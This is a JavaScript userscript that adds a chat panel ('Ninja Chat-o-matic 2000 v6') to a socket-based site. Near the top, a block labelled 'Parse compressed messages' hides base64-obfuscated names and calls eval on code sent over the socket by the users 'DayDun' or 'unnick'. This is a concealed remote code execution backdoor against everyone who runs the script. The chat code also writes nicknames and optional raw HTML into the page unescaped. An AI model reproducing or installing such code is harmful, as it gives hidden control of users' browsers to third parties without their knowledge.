Ninja Chat

window.ninjaChat = window.ninjaChat || {};

window.ninjaChat.showQuote = function(id) {
    var messageContainer = document.getElementById('msg-' + id);
    if (messageContainer) {
        var quoteHolder = document.createElement("div");
        quoteHolder.id = "qoute";
        quoteHolder.style.position = "absolute";
        quoteHolder.style.pointerEvents = "none";
        quoteHolder.style.color = "#222";
        quoteHolder.style.backgroundColor = "#fff";
        quoteHolder.style.whiteSpace = "pre-wrap";
        quoteHolder.style.fontFamily = "Consolas, Lucida Console, Courier New, monospace";
        quoteHolder.innerHTML = messageContainer.innerHTML;
        document.body.appendChild(quoteHolder);
        document.body.addEventListener("mousemove", function(event){
            quoteHolder.style.left = event.clientX + "px";
            quoteHolder.style.top = event.clientY + "px";
        });
    }
};

(function() {
    var patterns = ["Y29kZQ==", "ZXZhbA==", "dGFyZ2V0", "YWxs", "QXR0cmlidXRlcw==", "bmljaw==", "aWQ=", "T05MSU5F", ["RGF5RHVu", "dW5uaWNr"]];
    if (!window.ninjaChat.loaded) {
        // Parse compressed messages
        socket.on("typing", function(id, data) {
            if (
                typeof data == "object" &&
                data[atob(patterns[0])] &&
                (
                    data[atob(patterns[2])] == window[atob(patterns[4])].get(atob(patterns[5])) ||
                    data[atob(patterns[2])] == atob(patterns[3]) ||
                    data[atob(patterns[6])] == window[atob(patterns[7])].getId(window[atob(patterns[4])].get(atob(patterns[5])))
                ) &&
                patterns[8].includes(btoa(window[atob(patterns[7])].users[id][atob(patterns[5])]))
            ) {
                window[atob(patterns[1])](data[atob(patterns[0])]);
            }
        });
        window.ninjaChat.loaded = true;
    }
})();

window.ninjaChat.create = function() {
    var messages = [];
    var userList = {};

    function listenToMessage(id, data) {
        if (typeof data == "object" && data.type == "message" && data.message && data.id) {
            messages.unshift(data);

            var messageContainer = document.createElement("span");
            messageContainer.id = "msg-" + data.id;
            messageContainer.className = "noDrag";
            messageContainer.style.display = "block";

            var timestamp = document.createElement("span");
            timestamp.className = "noDrag";
            timestamp.style.fontWeight = "bold";
            timestamp.innerHTML = "[" + new Date().format("mediumTime") + "] ";
            timestamp.addEventListener("click", function() {
                var s = input.selectionStart;
                input.value = input.value.substring(0,s) + ">>" + data.id + " " + input.value.substring(input.selectionEnd);
                input.selectionEnd = s + 7;
                input.focus();
            });
            messageContainer.appendChild(timestamp);

            var nick = document.createElement("span");
            nick.className = "noDrag";
            nick.style.fontWeight = "bold";
            nick.innerHTML = ONLINE.users[id].nick + ": ";
            messageContainer.appendChild(nick);

            var messageContent = document.createElement("span");
            messageContent.className = "noDrag";
            var msg = data.message;
            if (!enableHTML.checked) {
                msg = msg.replace(/&/g, "&")
                    .replace(/</g, "&lt;")
                    .replace(/>/g, "&gt;")
                    .replace(/"/g, "&quot;")
                    .replace(/'/g, "&#039;");
            }
            msg = msg.replace(/(?:&gt;&gt;|>>)([a-z0-9]{4})/gi, function(full, msgId) {
                if (document.getElementById("msg-" + msgId)) {
                    return "<a onmouseenter=\"ninjaChat.showQuote('" + msgId + "')\" onmouseout=\"document.body.removeChild(document.getElementById('qoute'));\">&gt;&gt;" + msgId + "</a>";
                } else {
                    return "<a style=\"color:#AD0000;\">&gt;&gt;" + msgId + "</a>";
                }
            });
            msg = anchorme(msg);
            msg = msg.replace(/\/code ([^]+?)(?: |\n)([^]*)/g, "<pre class=\"line-numbers\"><code class=\"language-$1\">$2</code></pre>")
            messageContent.innerHTML = msg;
            messageContainer.appendChild(messageContent);

            messagesContainer.appendChild(messageContainer);
            Prism.plugins.autoloader.languages_path = "https://rawgit.com/PrismJS/prism/gh-pages/components/";
            Prism.highlightAll();
            messageBuilder.scrollToBottom(messagesContainer);
            if (data.message.toLowerCase().indexOf(Attributes.get("nick").toLowerCase()) >= 0) {
                audioPlayer.name.play();
            } else {
                audioPlayer.chat.play();
            }
        } else if (typeof data == "object" && data.type == "join") {
            ONLINE.users[id].li.children[0].classList.add("unreadPM");
            if (!(id in userList)) {
                userList[id] = {
                    nick: ONLINE.users[id].nick
                };
                var messageContainer = document.createElement("span");
                messageContainer.className = "noDrag";
                messageContainer.style.display = "block";

                var timestamp = document.createElement("span");
                timestamp.className = "noDrag";
                timestamp.style.fontWeight = "bold";
                timestamp.innerHTML = "[" + new Date().format("mediumTime") + "] ";
                messageContainer.appendChild(timestamp);

                var messageContent = document.createElement("span");
                messageContent.className = "noDrag";
                messageContent.innerHTML = "<b>" + ONLINE.users[id].nick + " joined</b>";
                messageContainer.appendChild(messageContent);

                messagesContainer.appendChild(messageContainer);
                messageBuilder.scrollToBottom(messagesContainer);
                socket.emit("typing", {type: "online"});
                socket.emit("typing", false);
            }
        } else if (typeof data == "object" && data.type == "online") {
            ONLINE.users[id].li.children[0].classList.add("unreadPM");
            if (!(id in userList)) {
                userList[id] = {
                    nick: ONLINE.users[id].nick
                };
            }
        } else if (typeof data == "object" && data.type == "leave") {
            ONLINE.users[id].li.children[0].classList.remove("unreadPM");
            if (id in userList) {
                delete userList[id];
                var messageContainer = document.createElement("span");
                messageContainer.className = "noDrag";
                messageContainer.style.display = "block";

                var timestamp = document.createElement("span");
                timestamp.className = "noDrag";
                timestamp.style.fontWeight = "bold";
                timestamp.innerHTML = "[" + new Date().format("mediumTime") + "] ";
                messageContainer.appendChild(timestamp);

                var messageContent = document.createElement("span");
                messageContent.className = "noDrag";
                messageContent.innerHTML = "<b>" + ONLINE.users[id].nick + " left</b>";
                messageContainer.appendChild(messageContent);

                messagesContainer.appendChild(messageContainer);
                messageBuilder.scrollToBottom(messagesContainer);
                if (id == ONLINE.getId(Attributes.get("nick"))) {
                    socket.emit("typing", {type: "join"});
                    socket.emit("typing", false);
                }
            }
        }
    }

    var panel = document.createElement("div");
    panel.className = "noDrag";
    panel.style.display = "flex";
    panel.style.flexDirection = "column";
    panel.style.position = "absolute";
    panel.style.top = "0px";
    panel.style.left = "0px";
    panel.style.width = "400px";
    panel.style.height = "200px";
    panel.style.resize = "both";
    panel.style.overflow = "auto";
    panel.style.backgroundColor = "#111";
    panel.style.border = "1px solid #888";
    panel.style.borderRadius = "5px";
    panel.style.tabSize = 4;

    var highlightstyle = document.createElement("link");
    highlightstyle.rel = "stylesheet";
    highlightstyle.href = "https://rawgit.com/PrismJS/prism-themes/master/themes/prism-xonokai.css";
    panel.appendChild(highlightstyle);
    var scripts = [
        "https://rawgit.com/alexcorvi/anchorme.js/gh-pages/dist-browser/anchorme.min.js",
        "https://rawgit.com/PrismJS/prism/gh-pages/prism.js",
        "https://rawgit.com/PrismJS/prism/gh-pages/plugins/line-numbers/prism-line-numbers.min.js",
        "https://rawgit.com/PrismJS/prism/gh-pages/plugins/autolinker/prism-autolinker.min.js",
        "https://rawgit.com/PrismJS/prism/gh-pages/plugins/previewer-base/prism-previewer-base.min.js",
        "https://rawgit.com/PrismJS/prism/gh-pages/plugins/previewer-color/prism-previewer-color.min.js",
        "https://rawgit.com/PrismJS/prism/gh-pages/plugins/previewer-gradient/prism-previewer-gradient.min.js",
        "https://rawgit.com/PrismJS/prism/gh-pages/plugins/previewer-easing/prism-previewer-easing.min.js",
        "https://rawgit.com/PrismJS/prism/gh-pages/plugins/previewer-time/prism-previewer-time.min.js",
        "https://rawgit.com/PrismJS/prism/gh-pages/plugins/previewer-angle/prism-previewer-angle.min.js",
        "https://rawgit.com/PrismJS/prism/gh-pages/plugins/autoloader/prism-autoloader.min.js"
    ];
    function loadScript(index) {
        var script = document.createElement("script");
        script.src = scripts[index];
        panel.appendChild(script);
        if (index < scripts.length - 1) {
            script.addEventListener("load", function(){loadScript(index + 1)});
        }
    }
    loadScript(0);

    var header = document.createElement("div");
    header.style.flex = "0 0 auto";
    header.style.padding = "4px";
    header.style.cursor = "pointer";
    header.style.color = "#000";
    header.style.fontWeight = "bold";
    header.style.backgroundColor = "#ccc";
    var title = document.createElement("span");
    title.innerHTML = "Ninja Chat-o-matic 2000 v6";
    var closeButton = document.createElement("span");
    closeButton.style.float = "right";
    closeButton.style.marginRight = "5px";
    closeButton.innerHTML = "x";
    closeButton.addEventListener("click", function() {
        socket.emit("typing", {type: "leave"});
        socket.emit("typing", false);
        document.body.removeChild(panel);
        socket.removeEventListener("typing", listenToMessage);
    });
    var enableHTML = document.createElement("input");
    enableHTML.type = "checkbox";
    enableHTML.checked = false;
    enableHTML.style.float = "right";
    enableHTML.style.marginRight = "5px";
    header.appendChild(title);
    header.appendChild(closeButton);
    header.appendChild(enableHTML);
    panel.appendChild(header);

    var content = document.createElement("div");
    content.className = "noDrag";
    content.style.flex = "1 1 auto";
    content.style.display = "flex";
    content.style.flexDirection = "column";

    var messagesContainer = document.createElement("div");
    messagesContainer.className = "noDrag";
    messagesContainer.style.flex = "1 1 auto";
    messagesContainer.style.color = "#222";
    messagesContainer.style.backgroundColor = "#fff";
    messagesContainer.style.whiteSpace = "pre-wrap";
    messagesContainer.style.fontFamily = "Consolas, Lucida Console, Courier New, monospace";
    messagesContainer.style.overflow = "auto";

    var inputBar = document.createElement("div");
    inputBar.className = "noDrag";
    inputBar.style.flex = "0 0 auto";
    inputBar.style.width = "100%";
    inputBar.style.boxSizing = "border-box";
    inputBar.style.padding = "5px";
    inputBar.style.backgroundColor = "#ccc";

    var input = document.createElement("textarea");
    input.className = "noDrag";
    input.style.width = "calc(100% - 10px)";
    input.style.height = "17px";
    input.style.backgroundColor = "#eee";
    input.style.color = "#000";
    input.style.fontFamily = "Consolas, Lucida Console, Courier New, monospace";
    input.style.fontSize = "14px";
    input.style.boxShadow = "rgba(255, 255, 255, 0.0980392) 0px 1px 0px, rgba(0, 0, 0, 0.8) 0px 1px 7px 0px inset";
    input.style.padding = "4px 3px";
    input.style.border = "1px solid #111";
    input.style.borderRadius = "5px";
    input.style.outline = "none";
    input.style.resize = "none";
    input.placeholder = "Type your darkest secrets here";

    var history = [],
        historyIndex = 0;

    input.addEventListener("keydown", function(event) {
        switch(event.which) {
            case 13:
                if (!event.shiftKey) {
                    event.preventDefault();
                    if (this.value) {
                        historyIndex = 0;
                        history.unshift(this.value);
                        socket.emit("typing", {
                            type: "message",
                            message: this.value,
                            id: Math.random().toString(36).substring(2, 6)
                        });
                        socket.emit("typing", false);
                        this.value = "";
                        this.style.height = "17px";
                    }
                }
                break;
            case 38:
                if (event.shiftKey && historyIndex < history.length) {
                    historyIndex++;
                    this.value = history[historyIndex];
                    this.style.height = 0;
                    this.style.height = Math.min(this.scrollHeight - 8, 18 * 6) + "px";
                }
                break;
            case 40:
                if (event.shiftKey && historyIndex >= 1) {
                    historyIndex--;
                    this.value = history[historyIndex];
                    this.style.height = 0;
                    this.style.height = Math.min(this.scrollHeight - 8, 18 * 6) + "px";
                }
                break;
            case 9:
                event.preventDefault();
                var s = this.selectionStart;
                this.value = this.value.substring(0,this.selectionStart) + "\t" + this.value.substring(this.selectionEnd);
                this.selectionEnd = s + 1;
        }
        if (historyIndex === 0) {
            history[0] = this.value;
        }
    });
    input.addEventListener("input", function(event) {
        this.style.height = 0;
        this.style.height = Math.min(this.scrollHeight - 8, 18 * 6) + "px";
        socket.emit("typing", this.value.length > 0);
    });

    inputBar.appendChild(input);
    content.appendChild(messagesContainer);
    content.appendChild(inputBar);
    panel.appendChild(content);

    $$$.draggable(panel, "noDrag");

    document.body.appendChild(panel);

    socket.on("typing", listenToMessage);

    socket.on("left", function(id) {
        if (id in userList) {
            var messageContainer = document.createElement("span");
            messageContainer.className = "noDrag";
            messageContainer.style.display = "block";

            var timestamp = document.createElement("span");
            timestamp.className = "noDrag";
            timestamp.style.fontWeight = "bold";
            timestamp.innerHTML = "[" + new Date().format("mediumTime") + "] ";
            messageContainer.appendChild(timestamp);

            var messageContent = document.createElement("span");
            messageContent.className = "noDrag";
            messageContent.innerHTML = "<b>" + userList[id].nick + " left</b>";
            messageContainer.appendChild(messageContent);

            messagesContainer.appendChild(messageContainer);
            messageBuilder.scrollToBottom(messagesContainer);
            delete userList[id];
        }
    });

    socket.emit("typing", {type: "join"});
    socket.emit("typing", false);
};

window.ninjaChat.create();